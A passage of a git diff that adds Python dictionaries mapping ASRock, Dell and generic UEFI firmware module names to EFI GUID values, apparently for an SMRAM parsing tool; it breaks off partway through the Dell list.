[0x560bf58a, 0x1e0d, 0x4d7e, 0x95, 0x3f, 0x29, 0x80, 0xa2, 0x61, 0xe0, 0x31], + 'TPM_BOOT_FLOW_VARIABLE_GUID': [0xb6460a49, 0x0ac1, 0x484f, 0xae, 0x58, 0xf1, 0x6e, 0xb2, 0x39, 0xdb, 0x3d], + 'TXT_INFO_HOB_GUID': [0x2986883F, 0x88E0, 0x48d0, 0x4B, 0x82, 0x20, 0xC2, 0x69, 0x48, 0xDD, 0xAC], + 'TXT_ONE_TOUCH_GUID': [0x3D989471, 0xCFAC, 0x46B7, 0x9B, 0x1C, 0x8, 0x43, 0x1, 0x9, 0x40, 0x2D], + 'TXT_ONE_TOUCH_OP_PROTOCOL_GUID': [0xFA2338AD, 0x80DF, 0x49D0, 0x93, 0x96, 0xCF, 0x71, 0x45, 0xD0, 0x3A, 0x76], + 'UNKNOWN_DEVICE_GUID': [0xcf31fac5, 0xc24e, 0x11d2, 0x85, 0xf3, 0x0, 0xa0, 0xc9, 0x3e, 0xc9, 0x3b], + 'USB_TIMING_POLICY_PROTOCOL_GUID': [0x89e3c1dc, 0xb5e3, 0x4d34, 0xae, 0xad, 0xdd, 0x7e, 0xb2, 0x82, 0x8c, 0x18], + 'USER_DEFAULTS_GUID': [0xC4CC0DE8, 0x0687, 0x4422, 0x99, 0xC1, 0x65, 0x35, 0x1A, 0x5D, 0x5F, 0x95], + 'WDT_APP_PROTOCOL_GUID': [0x92c7d0bb, 0x679e, 0x479d, 0x87, 0x8d, 0xd4, 0xb8, 0x29, 0x68, 0x57, 0x8b], + 'WDT_HOB_GUID': [0x65675786, 0xacca, 0x4b11, 0x8a, 0xb7, 0xf8, 0x43, 0xaa, 0x2a, 0x8b, 0xea], + 'WDT_PERSISTENT_DATA_GUID': [0x78ce2354, 0xcfbc, 0x4643, 0xae, 0xba, 0x7, 0xa2, 0x7f, 0xa8, 0x92, 0xbf], + 'WDT_PPI_GUID': [0xF38D1338, 0xAF7A, 0x4FB6, 0x91, 0xDB, 0x1A, 0x9C, 0x21, 0x83, 0x57, 0x0D], + 'WDT_PROTOCOL_GUID': [0xB42B8D12, 0x2ACB, 0x499a, 0xA9, 0x20, 0xDD, 0x5B, 0xE6, 0xCF, 0x09, 0xB1], +} diff --git a/tools/amd_smram_parser/efiguids/efiguids_asrock.py b/tools/amd_smram_parser/efiguids/efiguids_asrock.py new file mode 100644 index 0000000..2e2c874 --- /dev/null +++ b/tools/amd_smram_parser/efiguids/efiguids_asrock.py @@ -0,0 +1,65 @@ + +GUIDs = { + "ASROCK_ACPIS4_DXE_GUID": [69196166, 45078, 18382, 175, 197, 34, 105, 237, 212, 173, 100], + "ASROCK_USBRT_GUID": [82487969, 10657, 4567, 136, 56, 0, 80, 4, 115, 212, 235], + "ASROCK_RAID_SETUP_GUID": [152494882, 14144, 12750, 173, 98, 189, 23, 44, 236, 202, 54], + "ASROCK_RAID_LOADER_GUID": [164506669, 19843, 17592, 151, 208, 16, 133, 235, 84, 144, 184], + "ASROCK_SIOSLPSMI_GUID": [204970154, 53806, 19926, 140, 180, 60, 156, 251, 29, 134, 211], + "ASROCK_PLEDDXE_GUID": [260599413, 12329, 20175, 182, 148, 34, 137, 77, 63, 33, 67], + "ASROCK_A_DEFAULT_DXE_GUID": [303480106, 49246, 19565, 145, 231, 235, 142, 55, 173, 59, 122], + "ASROCK_USER_DEF_SETUP_DXE_GUID": [321832763, 48422, 20415, 177, 147, 138, 203, 80, 239, 189, 137], + "ASROCK_WAKEUP_CTRL_SMM_GUID": [460234064, 4836, 19285, 129, 217, 26, 191, 236, 89, 212, 252], + "ASROCK_AMI_AGESA_DXE_GUID": [503020538, 49038, 19729, 151, 102, 47, 176, 208, 68, 35, 16], + "ASROCK_HDD_READY_SMI_GUID": [560462180, 29336, 19087, 154, 42, 191, 228, 152, 214, 0, 168], + "ASROCK_MOUSE_DRIVER_GUID": [719032155, 51156, 20094, 190, 42, 35, 99, 77, 246, 104, 161], + "ASROCK_IDESMM_GUID": [829100592, 1280, 17810, 140, 9, 234, 186, 15, 182, 176, 127], + "ASROCK_BFGSMI_GUID": [978522445, 22131, 19929, 181, 179, 203, 114, 195, 71, 102, 155], + "ASROCK_ASRLOGODXE_GUID": [1033880909, 6629, 19152, 185, 134, 2, 214, 135, 215, 96, 229], + "ASROCK_ASM104_X_DXE_GUID": [1080004582, 21011, 19333, 184, 33, 151, 183, 122, 255, 121, 91], + "ASROCK_HDAUDIO_SMI_GUID": [1254707048, 58961, 19256, 161, 216, 45, 93, 239, 250, 15, 96], + "ASROCK_SM_BUS_DXE_GUID": [1265110573, 3427, 20322, 185, 48, 122, 233, 149, 185, 179, 163], + "ASROCK_USBINT13_GUID": [1275096281, 6586, 17943, 132, 131, 96, 145, 148, 161, 172, 252], + "ASROCK_SLP_SUPPORT_GUID": [1279872597, 22601, 21314, 69, 84, 84, 69, 82, 33, 33, 33], + "ASROCK_PATA_CONTROLLER_GUID": [1334921163, 38702, 20316, 184, 105, 160, 33, 130, 201, 217, 60], + "ASROCK_SATA_CONTROLLER_GUID": [1359869601, 46785, 18760, 174, 231, 89, 242, 32, 248, 152, 189], + "ASROCK_ACPIS4_SMM_GUID": [1368992111, 10248, 19194, 148, 196, 153, 246, 176, 108, 135, 30], + "ASROCK_POST_REPORT_GUID": [1413923475, 13211, 18381, 183, 25, 88, 93, 227, 148, 8, 204], + "ASROCK_CLOCK_GEN_DXE_GUID": [1447053695, 25694, 17937, 185, 21, 230, 130, 200, 189, 71, 131], + "ASROCK_UHCD_GUID": [1477302528, 14429, 4567, 136, 58, 0, 80, 4, 115, 212, 235], + "ASROCK_LEGACY_REGION_GUID": [1495543256, 59343, 18809, 182, 14, 166, 6, 126, 42, 24, 95], + "ASROCK_SLEEP_SMI_GUID": [1654193688, 54767, 17079, 187, 12, 41, 83, 40, 63, 87, 4], + "ASROCK_CMOS_MANAGER_SMM_GUID": [1751762355, 44173, 18803, 139, 55, 227, 84, 219, 243, 74, 221], + "ASROCK_AMD_AGESA_DXE_DRIVER_GUID": [1766895615, 28387, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "ASROCK_RE_FLASH_GUID": [1893836824, 3041, 17481, 191, 212, 158, 246, 140, 127, 2, 168], + "ASROCK_LEGACY_INTERRUPT_GUID": [1911362257, 9483, 17147, 140, 23, 16, 220, 250, 119, 23, 1], + "ASROCK_SMM_CHILD_DISPATCHER_GUID": [1966485705, 64229, 18345, 187, 191, 136, 214, 33, 205, 114, 130], + "ASROCK_BFGDXE_GUID": [1988600983, 65358, 18687, 188, 170, 103, 219, 246, 92, 66, 209], + "ASROCK_IFLASHSETUP_GUID": [2011543064, 9746, 19496, 188, 223, 162, 177, 77, 138, 62, 254], + "ASROCK_S4_SLEEPDELAY_GUID": [2075935011, 23902, 19484, 149, 209, 48, 235, 164, 135, 1, 202], + "ASROCK_HDD_READY_DXE_GUID": [2179248970, 9868, 20428, 142, 57, 28, 29, 62, 111, 110, 105], + "ASROCK_RTLANDXE_GUID": [2332955475, 13708, 20015, 147, 69, 238, 191, 29, 171, 152, 155], + "ASROCK_AMD_SB900_DXE_GUID": [2333274783, 28981, 20139, 175, 218, 5, 18, 247, 75, 101, 234], + "ASROCK_SB900_SMBUS_LIGHT_GUID": [2551896525, 34437, 19115, 175, 218, 5, 18, 247, 75, 101, 234], + "ASROCK_AAFTBL_SMI_GUID": [2667102838, 46054, 19161, 143, 231, 199, 79, 113, 196, 114, 72], + "ASROCK_NVRAMID_GUID": [2708185858, 25876, 17031, 190, 227, 98, 35, 183, 222, 44, 33], + "ASROCK_IDE_SECURITY_GUID": [2847342799, 414, 19851, 163, 167, 136, 225, 234, 1, 105, 158], + "ASROCK_ASM1061_DXE_GUID": [2848876245, 27959, 17694, 169, 191, 245, 143, 122, 11, 60, 194], + "ASROCK_ASM104_X_SMI_GUID": [2904508538, 47702, 18652, 142, 170, 232, 251, 234, 116, 184, 242], + "ASROCK_RTLANSMI_GUID": [3005543067, 24215, 19449, 180, 224, 81, 37, 193, 246, 5, 213], + "ASROCK_GEC_UPDATE_SMI_GUID": [3092850716, 5882, 17832, 146, 1, 28, 56, 48, 169, 115, 189], + "ASROCK_APMOFF_GUID": [3146872289, 16021, 19326, 135, 80, 157, 106, 163, 78, 183, 246], + "ASROCK_SMIFLASH_GUID": [3157425597, 47490, 20309, 159, 121, 5, 106, 215, 233, 135, 197], + "ASROCK_RAID_X64_GUID": [3295196034, 17744, 18697, 173, 87, 36, 150, 20, 27, 63, 74], + "ASROCK_AMD_SB900_SMM_GUID": [3351810409, 6722, 20062, 179, 75, 230, 131, 6, 113, 201, 166], + "ASROCK_FIREWIRE_GUID": [3367390790, 38937, 17835, 135, 93, 9, 223, 218, 109, 139, 27], + "ASROCK_IDE_SMART_GUID": [3581707566, 32927, 17871, 163, 119, 215, 123, 192, 203, 120, 238], + "ASROCK_SB_INTERFACE_DXE_GUID": [3622218689, 38683, 17947, 181, 228, 60, 55, 102, 38, 122, 217], + "ASROCK_AMD_SB900_SMM_DISPATCHER_GUID": [3748899802, 31298, 20062, 179, 75, 230, 131, 6, 113, 201, 166], + "ASROCK_AMDCPU_DXE_GUID": [3786566962, 16719, 18139, 154, 238, 66, 0, 119, 243, 93, 190], + "ASROCK_SMBIOS_DMIEDIT_GUID": [3802613560, 35124, 18677, 132, 18, 153, 233, 72, 200, 220, 27], + "ASROCK_SECURITY_SELECT_DXE_GUID": [3832130086, 37480, 20144, 160, 135, 221, 76, 238, 55, 64, 75], + "ASROCK_FILE_EXPLORER_LITE_GUID": [3875982164, 33976, 16573, 131, 47, 127, 178, 213, 203, 135, 179], + "ASROCK_PLEDSMM_GUID": [3911953940, 15869, 19568, 159, 230, 56, 153, 243, 108, 120, 70], + "ASROCK_CPU_SMBIOS_DRIVER_GUID": [3930959592, 43089, 19103, 171, 244, 183, 159, 162, 82, 130, 145], + "ASROCK_AAFTBL_DXE_GUID": [4279363330, 35107, 18380, 173, 48, 217, 224, 226, 64, 221, 16], +} diff --git a/tools/amd_smram_parser/efiguids/efiguids_dell.py b/tools/amd_smram_parser/efiguids/efiguids_dell.py new file mode 100644 index 0000000..404ae24 --- /dev/null +++ b/tools/amd_smram_parser/efiguids/efiguids_dell.py @@ -0,0 +1,370 @@ + +GUIDs = { + "DELL_COMPUTRACE_BINARY_GUID": [623147636, 37952, 18389, 191, 10, 237, 146, 164, 214, 235, 164], + "DELL_MEBX_SETUP_BINARY_GUID": [393683817, 53858, 19344, 159, 49, 189, 196, 31, 38, 99, 165], + # Auto-generated + "DELL_ERROR_LOG_CONFIG_GUID": [59564679, 47110, 17846, 168, 25, 81, 77, 175, 75, 145, 185], + "DELL_FP_THUNK_GUID": [69003667, 26231, 18208, 166, 101, 55, 91, 128, 255, 224, 18], + "DELL_INTEL_LOM_SMM_GUID": [145481829, 50009, 19349, 141, 89, 193, 181, 142, 182, 87, 181], + "DELL_LEGACY_VIDEO_ROM_GUID": [149252656, 25325, 16838, 146, 64, 183, 69, 94, 230, 83, 215], + "DELL_PCH_S3_SUPPORT_GUID": [150128187, 2270, 19661, 134, 112, 172, 254, 100, 74, 28, 72], + "DELL_SPI_PART_MICRON_GUID": [152362504, 17229, 20383, 147, 179, 111, 164, 138, 234, 247, 224], + "DELL_DCP_REGISTER_GUID": [161470591, 19257, 17398, 171, 71, 248, 1, 249, 146, 9, 247], + "DELL_AHCI_DXE_GUID": [163151961, 11636, 17349, 151, 9, 173, 10, 0, 81, 134, 125], + "DELL_SIMPLE_BOOT_FLAG_SRC_GUID": [175448545, 2545, 17582, 155, 95, 39, 129, 183, 137, 113, 214], + "DELL_EDIAGS_DXE_GUID": [186863089, 128, 16683, 135, 22, 138, 129, 163, 161, 31, 170], + "DELL_ACPI_OEM_CONFIG_GUID": [187580522, 60763, 18024, 188, 209, 43, 29, 176, 24, 65, 252], + "DELL_SPI_PART_MXIC_GUID": [192673644, 29210, 17659, 167, 88, 82, 225, 60, 164, 87, 241], + "DELL_DTWLAN_SMM_GUID": [195268242, 5450, 19426, 165, 224, 190, 128, 87, 28, 219, 113], + "DELL_LEGACY16_ROM_GUID": [196160684, 53161, 18489, 164, 194, 23, 151, 36, 129, 9, 208], + "DELL_DEVICE_NAME_CONFIG_GUID": [197273096, 60613, 18361, 160, 56, 79, 10, 104, 55, 46, 68], + "DELL_AI13_ROM_GUID": [215208698, 45597, 18357, 186, 149, 216, 192, 11, 56, 243, 36], + "DELL_JPEG_DECODER_GUID": [220504629, 39954, 17516, 142, 203, 239, 193, 245, 40, 2, 9], + "DELL_DA_HDD_PROTECTION_GUID": [220775721, 34772, 17048, 138, 84, 64, 242, 42, 159, 226, 74], + "DELL_DCCS_SMM_DRIVER_GUID": [226622917, 52120, 19359, 185, 59, 112, 169, 192, 102, 58, 190], + "DELL_INTRUSION_DETECT_SMM_GUID": [232691254, 33569, 20191, 159, 20, 11, 252, 163, 180, 115, 245], + "DELL_VIRT_RTC_SMM_GUID": [242451377, 33774, 16804, 147, 158, 36, 200, 134, 240, 58, 214], + "DELL_SMM_HWM_DRIVER_GUID": [245618257, 18868, 18393, 189, 195, 228, 163, 121, 243, 222, 118], + "DELL_SM_BIOS_STRUC_DB_GUID": [246741696, 41964, 20461, 151, 131, 168, 208, 255, 209, 174, 51], + "DELL_CENTURY_ROLLOVER_SMM_GUID": [293724525, 44817, 19538, 132, 126, 81, 109, 208, 155, 211, 118], + "DELL_SMM_SECURITY_VAULT_GUID": [295647076, 42946, 17193, 178, 92, 230, 48, 94, 116, 48, 73], + "DELL_DXE_SW_SMI_GUID": [299700076, 8347, 18382, 138, 152, 65, 140, 155, 124, 199, 86], + "DELL_SMM_SB_ACPI_GUID": [311836245, 22566, 18078, 169, 52, 163, 203, 179, 7, 110, 197], + "DELL_SMM_ACCESS_GUID": [321112056, 56021, 16678, 165, 75, 122, 5, 251, 244, 21, 21], + "DELL_MFG_MODE_SMM_DRIVER_GUID": [343426378, 17796, 19658, 176, 210, 18, 10, 206, 18, 157, 187], + "DELL_SPI_PART_ATMEL_GUID": [350738878, 30772, 18302, 169, 66, 255, 95, 130, 62, 226, 73], + "DELL_EDIAGS_CONFIG_GUID": [353288559, 2998, 17064, 182, 5, 121, 121, 75, 137, 209, 91], + "DELL_VARIABLE_SMM_GUID": [376426563, 59923, 18504, 187, 60, 111, 162, 149, 185, 70, 39], + "DELL_SMM_GPIO_POLICY_GUID": [381905150, 61812, 18561, 146, 206, 56, 134, 153, 211, 77, 149], + "DELL_ACPI_GUID": [382771774, 49308, 16509, 161, 74, 173, 5, 143, 221, 12, 161], + "DELL_RUNTIME_ACPI_DXE_GUID": [389612339, 19686, 18600, 175, 185, 14, 245, 91, 102, 107, 116], + "DELL_SERVICE_MENU_GUID": [420935486, 51236, 20369, 172, 156, 191, 31, 210, 142, 68, 49], + "DELL_MONOTONIC_COUNTER_GUID": [424600875, 766, 16781, 170, 16, 46, 97, 229, 28, 184, 148], + "DELL_CSM_OEM_ROM_GUID": [438112772, 58245, 18755, 168, 146, 83, 52, 206, 56, 9, 172], + "DELL_DIAGS_SB_CONTROL_SMM_GUID": [452881360, 51653, 17620, 183, 189, 143, 94, 125, 15, 37, 96], + "DELL_AMT_PLATFORM_POLICY_GUID": [468079106, 37656, 18733, 165, 81, 8, 223, 43, 214, 10, 238], + "DELL_MFG_AUTHENTICATION_GUID": [473155928, 65188, 17247, 147, 239, 10, 156, 20, 174, 135, 228], + "DELL_SM_BIOS_STRUC_DA_GUID": [477314229, 19599, 17625, 187, 240, 149, 71, 112, 137, 235, 8], + "DELL_DXE_COMPUTRACE_GUID": [484872944, 13079, 17780, 139, 87, 72, 0, 237, 9, 31, 64], + "DELL_SMM_STATUS_CODE_GUID": [495067551, 14447, 20262, 175, 172, 97, 63, 36, 44, 7, 96], + "DELL_POWER_BUTTON_CONFIG_GUID": [519056625, 49001, 18883, 143, 220, 91, 181, 93, 34, 76, 250], + "DELL_REBOOT_DXE_GUID": [536913970, 50804, 18538, 129, 190, 203, 70, 112, 164, 247, 253], + "DELL_FLASH_IO_DXE_GUID": [560621596, 40529, 16735, 154, 218, 203, 159, 188, 208, 95, 93], + "DELL_SM_BIOS_STRUC_B1_GUID": [589118053, 37954, 17671, 164, 228, 233, 210, 23, 101, 120, 241], + "DELL_IO_TRAP_GUID": [594865631, 61955, 20416, 162, 14, 97, 186, 215, 48, 137, 214], + "DELL_SM_BIOS_DXE_DRIVER_GUID": [596042289, 43471, 20306, 148, 106, 111, 107, 108, 19, 59, 70], + "DELL_UPDATE_MEMORY_RECORD_GUID": [617403252, 15862, 16769, 134, 246, 227, 198, 105, 32, 161, 69], + #"DELL_DMIENBG64_GUID": [623147636, 37952, 18389, 191, 10, 237, 146, 164, 214, 235, 164], + "DELL_BIOS_BLK_IO_SRC_GUID": [632090968, 56673, 20068, 154, 73, 85, 133, 30, 154, 38, 199], + "DELL_ACPIS3_SAVE_GUID": [648169502, 17444, 18082, 153, 67, 204, 64, 57, 234, 216, 248], + "DELL_SB_SERVICES_SMM_GUID": [650136819, 62971, 18792, 141, 87, 199, 250, 10, 147, 39, 131], + "DELL_SYSTEM_ID_CONFIG_DXE_GUID": [656963409, 34426, 18125, 145, 175, 65, 111, 246, 174, 61, 254], + "DELL_OROM_KB_ACCESS_GUID": [660110193, 14329, 19016, 181, 112, 88, 182, 209, 79, 109, 236], + "DELL_SMSC5544_DXE_GUID": [670270351, 47655, 20474, 179, 116, 53, 190, 162, 138, 67, 27], + "DELL_AMT_PET_ALERT_GUID": [688824905, 28296, 16956, 176, 218, 117, 205, 222, 121, 32, 204], + "DELL_CSM_VIDEO_GUID": [701453816, 46709, 20317, 143, 47, 184, 122, 62, 207, 208, 99], + "DELL_BINDINGS_SMM_GUID": [720216299, 5010, 16946, 164, 249, 197, 122, 60, 47, 162, 217], + "DELL_EDIAGS_SMM_GUID": [762170232, 51938, 17497, 146, 124, 100, 166, 183, 230, 74, 117], + "DELL_PBA_UPEK_DPBA_GUID": [762651386, 26608, 18280, 182, 224, 253, 118, 241, 127, 75, 4], + "DELL_PPM_POLICY_INIT_DXE_GUID": [770768916, 53025, 17024, 140, 63, 229, 57, 184, 238, 81, 80], + "DELL_GENERIC_SIO_DXE_GUID": [771101699, 49536, 17829, 162, 43, 26, 61, 184, 143, 233, 186], + "DELL_SM_BIOS_SMM_DA_CI_GUID": [775889525, 35277, 19940, 189, 132, 190, 191, 217, 75, 205, 204], + "DELL_USB_MOUSE_GUID": [788490211, 22919, 18152, 129, 17, 128, 255, 166, 122, 235, 147], + "DELL_DXE_GPIO_POLICY_GUID": [800200429, 19047, 18483, 159, 92, 36, 129, 36, 205, 154, 172], + "DELL_GSET_GUID": [800665338, 12000, 19374, 158, 182, 116, 68, 18, 94, 30, 247], + "DELL_UHCI_GUID": [800665338, 12000, 19374, 158, 182, 116, 100, 18, 94, 30, 247], + "DELL_SPI_PART_PROM_JET_GUID": [805154634, 43445, 20214, 170, 59, 168, 150, 17, 170, 178, 132], + "DELL_PCI_HOT_PLUG_GUID": [807593234, 47434, 20242, 128, 109, 126, 241, 23, 120, 153, 216], + "DELL_SMB_PROTOCOL_ACCESS_GUID": [849285743, 10654, 19397, 131, 16, 23, 159, 16, 235, 70, 201], + "DELL_ALERT_STANDARD_FORMAT_DXE_GUID": [868630637, 12139, 16821, 135, 5, 82, 186, 251, 99, 60, 9], + "DELL_LEG_USB_MEM_SMM_GUID": [917420886, 8075, 19393, 142, 254, 64, 133, 165, 212, 196, 10], + "DELL_ERROR_HANDLER_SMM_GUID": [925400203, 56467, 17877, 154, 175, 60, 210, 233, 6, 177, 43], + "DELL_DEFAULT_BOOT_LIST_SMM_GUID": [925400203, 56467, 17877, 154, 175, 60, 210, 233, 6, 255, 255], + "DELL_TPMDXE_GUID": [946780090, 25412, 17640, 152, 92, 57, 120, 253, 71, 145, 107], + "DELL_OEM_SX_SMM_GUID": [948378608, 50762, 18582, 184, 228, 98, 212, 133, 12, 126, 104], + "DELL_AC_LOSS_SMM_GUID": [948378608, 50762, 18582, 184, 228, 98, 215, 117, 12, 125, 104], + "DELL_DIAGS_SB_CONTROL_DXE_GUID": [955198347, 53053, 18402, 151, 227, 85, 113, 21, 228, 57, 133], + "DELL_SMM_LEGACY_REGION_GUID": [962780853, 65014, 18473, 136, 156, 213, 68, 145, 142, 132, 217], + "DELL_PS2_EMUL_GUID": [967310044, 39460, 17747, 140, 189, 155, 114, 178, 76, 34, 253], + "DELL_MEMORY_S4_GUID": [975822105, 11396, 19056, 154, 1, 251, 221, 175, 251, 100, 97], + "DELL_SB_SERVICES_DXE_GUID": [977290450, 62996, 16676, 167, 114, 32, 123, 205, 190, 61, 176], + "DELL_STOP_SHIP_CONFIG_GUID": [993507108, 19191, 18997, 151, 179, 210, 251, 143, 79, 86, 60], + "DELL_BLOCK_IO_GUID": [1002555495, 8820, 17400, 164, 186, 147, 154, 91, 214, 212, 115], + "DELL_PCI_BUS_GUID": [1008591775, 53767, 16522, 170, 204, 115, 28, 251, 127, 29, 215], + "DELL_TX_TDXE_GUID": [1029076176, 44661, 18211, 145, 89, 29, 101, 59, 64, 64, 47], + "DELL_SM_BIOS_STRUC_D3_GUID": [1037980905, 36120, 20136, 148, 35, 194, 232, 70, 225, 142, 35], + "DELL_SMB_BOOT_PRIORITY_GUID": [1099196974, 31402, 17560, 188, 38, 181, 172, 212, 159, 146, 225], + "DELL_SPI_CONTROLLER_SMM_GUID": [1099935596, 11215, 16705, 137, 131, 157, 51, 225, 182, 123, 76], + "DELL_ME_PCI_PLATFORM_CONFIG_DXE_GUID": [1106536082, 38163, 19740, 139, 179, 182, 161, 104, 24, 45, 228], + "DELL_PBA_UPEK_DXE_GUID": [1120087503, 62042, 18419, 143, 76, 171, 212, 120, 215, 127, 80], + "DELL_GPE_CONFIG_GUID": [1174254635, 8085, 19027, 155, 164, 28, 139, 251, 139, 203, 1], + "DELL_POWER_OFF_SMM_GUID": [1190974936, 43443, 17123, 144, 74, 1, 47, 7, 188, 95, 92], + "DELL_GPE_GUID": [1198704346, 20589, 19605, 172, 23, 174, 102, 136, 95, 109, 83], + "DELL_PASSWORD_MGR_SMM_GUID": [1202852751, 23147, 19557, 145, 103, 135, 64, 89, 93, 22, 173], + "DELL_SMM_SB_GPIO_CONTROL_GUID": [1206402316, 10996, 18061, 145, 145, 156, 228, 104, 193, 142, 158], + "DELL_RAID_ROM_GUID": [1226990052, 1625, 16972, 130, 182, 115, 39, 67, 137, 231, 167], + "DELL_SMM_DISPATCHER_GUID": [1245131275, 16307, 17253, 151, 48, 158, 137, 198, 0, 57, 93], + "DELL_DXE_SIO_GPIO_CONTROL_GUID": [1248129536, 63900, 17139, 128, 199, 13, 145, 226, 211, 235, 93], + "DELL_VARIABLE_DXE_GUID": [1267189915, 14761, 18319, 164, 182, 129, 106, 158, 220, 80, 135], + "DELL_CPU_SMM_GUID": [1318627838, 57178, 16694, 185, 34, 79, 185, 112, 203, 215, 51], + "DELL_CHASSIS_CONFIG_SMM_GUID": [1373013960, 6510, 19710, 138, 12, 131, 104, 152, 14, 168, 182], + "DELL_SMM_DELAY_GUID": [1378954463, 54441, 17726, 169, 223, 159, 218, 245, 28, 214, 34], + "DELL_SPI_PART_EON_GUID": [1386777386, 26109, 18769, 139, 37, 6, 251, 101, 152, 18, 139], + "DELL_CHASSIS_CONFIG_DXE_GUID": [1421699677, 14578, 17597, 132, 171, 16, 139, 228, 244, 89, 20], + "DELL_HIIPARSER_DXE_DRIVER_GUID": [1436706812, 26119, 16419, 136, 78, 72, 229, 211, 211, 244, 226], + "DELL_BINDINGS_DXE_GUID": [1438341707, 15167, 17452, 191, 9, 15, 135, 166, 126, 142, 231], + "DELL_HECI_DXE_GUID": [1441228356, 30885, 19074, 169, 0, 113, 38, 165, 121, 136, 146], + "DELL_SMM_BBSMANAGER_LEGACY_GUID": [1442227219, 10255, 16867, 147, 148, 101, 128, 242, 157, 215, 208], + "DELL_GRASSLAKE_CONFIG_GUID": [1458496326, 20492, 18742, 149, 26, 45, 165, 240, 255, 57, 187], + "DELL_IDE_SMM_GUID": [1461526225, 49881, 16782, 149, 58, 36, 142, 188, 104, 112, 72], + "DELL_PASSWORD_MGR_DXE_GUID": [1475622312, 7223, 18484, 173, 97, 176, 61, 148, 221, 206, 243], + "DELL_ME_FW_DOWNGRADE_GUID": [1478553268, 49461, 18516, 157, 42, 170, 158, 252, 68, 117, 233], + "DELL_CSM_CONFIG_GUID": [1484687255, 49915, 16823, 174, 155, 245, 58, 108, 86, 45, 245], + "DELL_GPE_OROM_GUID": [1489880953, 56460, 18715, 186, 195, 248, 110, 6, 209, 134, 95], + "DELL_SM_BIOS_SMM_DRIVER_GUID": [1493767628, 34338, 19809, 190, 100, 195, 62, 231, 96, 20, 31], + "DELL_PCH_SMBUS_SMM_GUID": [1495822712, 22962, 18890, 188, 99, 83, 43, 18, 234, 44, 83], + "DELL_DASH_BIOS_MANAGER_GUID": [1496809990, 34331, 17280, 163, 73, 47, 47, 79, 3, 12, 75], + "DELL_WDT_DXE_GUID": [1521189861, 61479, 19623, 191, 208, 22, 53, 140, 201, 228, 83], + "DELL_CORE_DXE_GUID": [1524888446, 20142, 16814, 130, 64, 53, 70, 91, 94, 129, 235], + "DELL_PASSWORD_UI_GUID": [1564786295, 22121, 16848, 182, 133, 27, 243, 248, 62, 251, 152], + "DELL_HOT_SOS_SMM_DRIVER_GUID": [1571415364, 56365, 18032, 163, 213, 152, 82, 54, 213, 222, 69], + "DELL_SIO_CONFIG_DXE_GUID": [1572044380, 12011, 17400, 173, 160, 36, 55, 2, 211, 148, 93], + "DELL_TCG_DXE_GUID": [1587325859, 62129, 18810, 173, 172, 36, 245, 117, 233, 205, 233], + "DELL_ACPI_CONFIG_GUID": [1591357731, 2112, 17911, 173, 171, 19, 166, 85, 239, 59, 183], + "DELL_FLASH_SCREEN_DXE_GUID": [1626069668, 5477, 19866, 153, 200, 136, 223, 166, 85, 73, 165], + "DELL_TXT_DXE_GUID": [1630407945, 23825, 17686, 130, 238, 109, 214, 5, 254, 38, 95], + "DELL_DIAGS_DXE_DRIVER_GUID": [1662733815, 47850, 19487, 160, 97, 91, 100, 98, 101, 40, 34], + "DELL_FLASH_UPDATE_DXE_GUID": [1680263188, 24602, 16662, 158, 159, 191, 157, 111, 143, 37, 79], + "DELL_SMM_GPE_GUID": [1709829021, 33069, 16737, 153, 197, 5, 172, 75, 204, 164, 148], + "DELL_RTC_AUTO_ON_SMM_GUID": [1732878212, 62181, 19922, 158, 86, 198, 227, 137, 221, 97, 115], + "DELL_SMM_FLASH_WRITE_PROTECT_GUID": [1777301692, 15217, 20172, 131, 79, 59, 116, 249, 20, 132, 48], + "DELL_DIAGS_CONFIG_GUID": [1777957454, 5013, 17226, 165, 211, 255, 156, 234, 40, 72, 133], + "DELL_AUDIO_CONFIG_DXE_GUID": [1788978124, 21188, 19203, 153, 247, 40, 143, 52, 92, 29, 179], + "DELL_SPECIAL_BOOT_STUB_GUID": [1797814372, 30108, 17092, 180, 53, 167, 74, 182, 148, 205, 59], + "DELL_DA_SERVICE_TAG_GUID": [1854722743, 46646, 18521, 133, 237, 198, 55, 189, 202, 89, 25], + "DELL_DXE_SB_ACPI_GUID": [1855444212, 6296, 17416, 166, 45, 153, 202, 222, 211, 47, 216], + "DELL_MONOTONIC_COUNTER_SMM_GUID": [1898086669, 52435, 19209, 160, 171, 141, 16, 118, 69, 201, 120], + "DELL_SMM_SB_GENERIC_GUID": [1898475784, 48984, 16874, 183, 28, 179, 98, 45, 235, 202, 157], + "DELL_ACPI_MODE_ENABLE_GUID": [1963495590, 31439, 20303, 129, 189, 180, 0, 194, 190, 169, 90], + "DELL_SMM_SIO_EMI_GUID": [1971880107, 19618, 19882, 168, 62, 209, 249, 173, 242, 194, 241], + "DELL_PSTATE_CONTROL_GUID": [1975412348, 18657, 17709, 176, 252, 54, 49, 56, 237, 135, 255], + "DELL_DA_EPPID_GUID": [1990319997, 30028, 16609, 188, 114, 63, 202, 216, 66, 222, 246], + "DELL_PROGRESS_BAR_GUID": [1992170175, 7710, 12829, 183, 240, 158, 9, 132, 253, 218, 188], + "DELL_PBA_MGR_SMM_GUID": [1994516974, 24519, 17939, 185, 111, 250, 121, 119, 150, 87, 58], + "DELL_AMT_SETUP_GUID": [2000466059, 20762, 19413, 133, 173, 65, 212, 244, 182, 74, 82], + "DELL_STORAGE_AGENTS_DXE_GUID": [2013853122, 40112, 17929, 144, 127, 177, 132, 83, 195, 99, 180], + "DELL_VARIABLE_RUNTIME_DXE_GUID": [2021476419, 26796, 19496, 190, 83, 186, 194, 114, 186, 236, 249], + "DELL_PBA_SCARD_DXE_GUID": [2044959363, 53267, 19246, 131, 106, 169, 154, 113, 71, 53, 28], + "DELL_SOL_POST_MESSAGE_GUID": [2047396760, 59836, 16835, 190, 25, 179, 2, 243, 241, 245, 35], + "DELL_TERMINAL_GUID": [2047396760, 59836, 16835, 190, 25, 179, 2, 243, 241, 245, 149], + "DELL_SM_BIOS_STRUC_D0_GUID": [2075890981, 38842, 17686, 182, 96, 27, 14, 183, 135, 68, 165], + "DELL_SMM_RUNTIME_GUID": [2088348812, 24172, 20029, 186, 111, 194, 96, 238, 124, 23, 46], + "DELL_FLASH_IO_SMM_GUID": [2092505544, 54425, 17961, 172, 179, 34, 118, 158, 52, 61, 219], + "DELL_SYSTEM_PW_SMM_GUID": [2158681357, 32851, 19367, 148, 27, 54, 244, 139, 178, 48, 1], + "DELL_PCI_ROOT_BRIDGE_GUID": [2162585098, 52433, 17402, 167, 177, 45, 94, 224, 241, 57, 16], + "DELL_POWER_OFF_CONFIG_GUID": [2163227679, 35261, 